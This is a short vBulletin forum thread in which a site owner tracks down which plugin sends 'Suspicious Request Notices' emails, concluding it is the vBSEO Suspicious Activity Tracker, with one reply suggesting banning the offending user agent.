What plugin generates Suspicious Request Notices?

[Art Andrews]

For the life of me, I can' figure out where these are coming from but I'd like to know more so I can investigate further. From time to time we get an email like the one below:

I have asked my server admin about it and he said nothing on the server side is doing it and that it is being generated through vB. I can't seem to find any info on it. Please help!

It's not from default vbulletin. You would need to look through your modifications to see what is generating it.

It's quite safe to enter the bolded into the definitions of the "Ban Spiders bt User Agent" mod. Anyone still using that needs his/her ass removed anyway, and by the looks of your OP they're up to no good as well.

I think I may have figured out which plugin is generating this info:

vBSEO Suspicious Activity Tracker

Since vBSEO is no more, I can't really seem to find out anything else about it, but I did find it interesting.
